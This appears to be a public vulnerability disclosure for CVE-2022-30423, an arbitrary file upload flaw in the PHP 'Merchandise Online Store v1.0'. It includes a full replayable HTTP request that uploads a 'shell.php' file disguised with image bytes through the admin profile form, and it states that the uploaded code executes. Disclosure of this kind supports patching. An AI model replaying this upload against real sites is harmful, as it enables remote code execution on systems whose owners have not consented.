CVE-2022-30423: bug_report/RCE-1.md at main · ffYYy6x0y1/bug_report

Permalink

Cannot retrieve contributors at this time

Merchandise Online Store v1.0 by oretnom23 has arbitrary code execution (RCE)

Author : ffYYy6x0y1

vendor: https://www.sourcecodester.com/php/14887/merchandise-online-store-php-free-source-code.html

Vulnerability url: http://ip/vloggers_merch/admin/?page=user

Loophole location： There is an arbitrary file upload vulnerability (RCE) in the user profile upload point in the system information.

Request package for file upload：

POST /vloggers_merch/classes/Users.php?f=save HTTP/1.1 Host: 192.168.1.19 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 X-Requested-With: XMLHttpRequest Referer: http://192.168.1.19/vloggers_merch/admin/?page=user Content-Length: 728 Content-Type: multipart/form-data; boundary=---------------------------972285327633 Cookie: PHPSESSID=ikts6n5evd3ahejiopufg6114g Connection: close -----------------------------972285327633 Content-Disposition: form-data; name="id" 1 -----------------------------972285327633 Content-Disposition: form-data; name="firstname" Adminstrator -----------------------------972285327633 Content-Disposition: form-data; name="lastname" Admin -----------------------------972285327633 Content-Disposition: form-data; name="username" admin -----------------------------972285327633 Content-Disposition: form-data; name="password" admin123 -----------------------------972285327633 Content-Disposition: form-data; name="img"; filename="shell.php" Content-Type: application/octet-stream JFJF <?php phpinfo();?> -----------------------------972285327633–

The files will be uploaded to this directory \vloggers_merch\uploads

We visited the directory of the file in the browser and found that the code had been executed